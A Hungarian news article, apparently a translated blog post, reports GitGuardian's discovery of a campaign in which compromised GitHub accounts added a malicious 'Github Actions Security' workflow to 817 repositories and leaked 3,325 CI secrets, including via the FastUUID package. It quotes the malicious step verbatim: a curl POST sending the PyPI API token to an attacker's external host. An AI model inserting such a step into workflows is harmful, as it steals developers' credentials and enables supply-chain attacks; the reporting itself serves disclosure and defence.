A GitGuardian kutat\u00f3i felfedeztek egy t\u00f6meges t\u00e1mad\u00e1st a GitHub felhaszn\u00e1l\u00f3i ellen, amelynek sor\u00e1n 327 fi\u00f3k ellen\u0151rz\u00e9s\u00e9t szerezt\u00e9k meg, \u00e9s 817 t\u00e1rol\u00f3ban rosszindulat\u00fa GitHub Action feldolgoz\u00f3t helyeztek el. A t\u00e1mad\u00e1s k\u00f6vetkezt\u00e9ben 3325 titok sziv\u00e1rgott ki, amelyek folyamatos integr\u00e1ci\u00f3s rendszerekben haszn\u00e1ltak, \u00e9s k\u00f6rnyezeti v\u00e1ltoz\u00f3kon kereszt\u00fcl tov\u00e1bb\u00edtottak, bele\u00e9rtve a PyPI, GitHub, NPM, DockerHub \u00e9s k\u00fcl\u00f6nf\u00e9le felh\u0151t\u00e1rhelyekhez val\u00f3 hozz\u00e1f\u00e9r\u00e9si tokeneket.
<\/center> <\/p>\n
A GitHub Actions lehet\u0151s\u00e9get biztos\u00edt a fejleszt\u0151knek, hogy automatiz\u00e1lj\u00e1k a k\u00fcl\u00f6nb\u00f6z\u0151 m\u0171veleteket a GitHub-on. P\u00e9ld\u00e1ul a GitHub Actions seg\u00edts\u00e9g\u00e9vel v\u00e9grehajthat\u00f3k bizonyos ellen\u0151rz\u00e9sek \u00e9s tesztek a commitok sor\u00e1n, vagy automatiz\u00e1lhat\u00f3 az \u00faj Issues kezel\u00e9se. A k\u00e1rt\u00e9kony kezel\u0151t a «Github Actions Security» n\u00e9ven terjesztett\u00e9k, \u00e9s a «run» szekci\u00f3ban szerepelt egy «curl» parancs, amely a k\u00f6rnyezeti v\u00e1ltoz\u00f3k tartalm\u00e1t egy k\u00fcls\u0151 hosztra k\u00fcldte a folyamatos integr\u00e1ci\u00f3s k\u00f6rnyezetben v\u00e9grehajtott feladatok sor\u00e1n. A k\u00e1rt\u00e9kony commitokat olyan projektfenntart\u00f3k fi\u00f3kj\u00e1r\u00f3l adt\u00e1k hozz\u00e1, akik val\u00f3sz\u00edn\u0171leg kor\u00e1bban meg voltak hackelve vagy phishing \u00e1ldozatai lettek. <\/p>\n
A t\u00e1mad\u00e1sra a FastUUID csomag anom\u00e1lis aktivit\u00e1s\u00e1nak elemz\u00e9se ut\u00e1n der\u00fclt f\u00e9ny, amely a Rust UUID k\u00f6nyvt\u00e1rra \u00e9p\u00edtkezik Python-kereten. A FastUUID csomagot, amely az elm\u00falt h\u00e9ten k\u00f6zel 1,2 milli\u00f3 let\u00f6lt\u00e9st regisztr\u00e1lt, a n\u00e9pszer\u0171 LiteLLM projekt f\u00fcgg\u0151s\u00e9gek\u00e9nt haszn\u00e1lj\u00e1k, amelynek a PyPI-n t\u00f6bb mint 5 milli\u00f3 let\u00f6lt\u00e9se van hetente. A FastUUID repozit\u00f3rium\u00e1nak v\u00e1ltoz\u00e1sainak elemz\u00e9se kimutatta, hogy szeptember 2-\u00e1n a projekt m\u00e9rt\u00e9kad\u00f3ja hozz\u00e1adott egy commitot az \u00faj Github Action kezel\u0151h\u00f6z, amely tartalmazta a PyPI repozit\u00f3riumhoz k\u00fcld\u00f6tt token k\u00f3dj\u00e1t egy k\u00fcls\u0151 hosztra. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
A probl\u00e9m\u00e1t siker\u00fclt azel\u0151tt azonos\u00edtani, hogy a t\u00e1mad\u00f3k kihaszn\u00e1lt\u00e1k volna a megszerzett tokent \u2014 a FastUUID csomag k\u00e1rt\u00e9kony m\u00f3dos\u00edt\u00e1sainak vagy m\u00f3dos\u00edtott verzi\u00f3inak k\u00f6zz\u00e9t\u00e9tele a PyPI-n nem t\u00f6rt\u00e9nt meg. Hasonl\u00f3 Github Action behelyettes\u00edt\u00e9seket tal\u00e1ltak m\u00e9g 816 repozit\u00f3riumban, amelyek tulajdonosainak, valamint a PyPI, GitHub, NPM \u00e9s DockerHub adminisztr\u00e1ci\u00f3j\u00e1nak \u00e9rtes\u00edt\u00e9seket k\u00fcldtek. Tegnapi \u00e1llapot szerint a k\u00e1rt\u00e9kony commitokat k\u00f6r\u00fclbel\u00fcl 100 repozit\u00f3riumban visszavont\u00e1k. Jelenleg a GitHub-on 671 k\u00e1rt\u00e9kony commit tal\u00e1lhat\u00f3 a Github Action-al. \n Forr\u00e1s: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"A](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n